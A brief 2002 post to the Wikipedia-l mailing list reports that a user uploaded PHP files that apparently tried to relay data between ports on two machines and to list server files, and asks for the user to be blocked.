Uploaded cracking attempt - Wikipedia-l

16 Nov 2002


      LearII uploaded the following, which appears to be an attempt to read from 
one port on one box and write to a port on another box. He also uploaded 
another PHP file, which was an attempt to list the files on the server. PHP 
doesn't run in the upload directory, and he left out the semicolons, but 
would someone please block him?
